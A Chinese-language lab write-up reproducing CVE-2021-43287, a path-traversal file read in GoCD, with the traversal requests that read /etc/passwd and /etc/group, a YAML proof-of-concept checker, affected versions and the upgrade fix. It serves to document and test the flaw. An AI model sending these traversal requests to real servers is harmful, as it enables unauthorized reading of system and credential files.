GoCD任意文件读取漏洞复现CVE-2021-43287-lsummer-漏洞文库小世界-安全文库-NGC660安全实验室

GoCD任意文件读取漏洞复现CVE-2021-43287-lsummer

漏洞分析

1.1 漏洞描述

GoCD 一款先进的持续集成和发布管理系统,由ThoughtWorks开发。(不要和Google的编程语言Go混淆了!)其前身为CruiseControl,是ThoughtWorks在做咨询和交付交付项目时自己开发的一款开源的持续集成工具。后来随着持续集成及持续部署的火热,ThoughtWorks专门成立了一个项目组,基于Cruise开发除了Go这款工具。ThoughtWorks开源持续交付工具Go。使用Go来建立起一个项目的持续部署pipeline是非常快的,非常方便。

1.2环境搭建

利用Vulfocus 漏洞集成平台,搭建测试环境。

1647931110872-a79e3a8b-176b-4a00-a82a-8fd839fd1554

访问地址http://123.58.236.76:43102/go/admin/pipelines/create?group=defaultGroup,即可打开页面。

1647931119713-4b7ee482-f674-4046-9612-1b146a2766b1

1.3 漏洞复现

可以通过/go/add-on/business-continuity/api/plugin?folderName=&pluginName=../../../etc/passwd 对文件进行读取

1647931129362-e479f568-3328-466b-96b7-fb5776e1cf75

/go/add-on/business-continuity/api/plugin?folderName=&pluginName=../../../etc/group

1647931138803-4cdb5442-ca41-425e-8e90-e9ae79377ae6

POC编写如下:
params: []
name: CVE-2021-43287
set: {}
rules: []
groups:
rules:

  • method: GET
    path: /go/add-on/business-continuity/api/plugin?folderName=&pluginName=../../../etc/passwd
    headers: {}
    body: “”
    search: “”
    followredirects: false
    expression: response.status == 200&&response.body.bcontains(b”root”)
  • method: GET
    path: /go/add-on/business-continuity/api/plugin?folderName=&pluginName=../../../etc/group
    headers: {}
    body: “”
    search: “”
    followredirects: false
    expression: response.status == 200&&response.body.bcontains(b”root”) detail:
    author: “”
    links: []
    description: “”
    version: “”

二、影响范围

GoCD的v20.6.0 – v21.2.0

三、解决方案

升级至安全版本GoCD21.3.0
下载地址为:https://www.onworks.net/zh-CN/software/app-gocd#google_vignette

四、参考链接

https://blog.csdn.net/m0_58596609/article/details/122220702

请登录后发表评论

    请登录后查看回复内容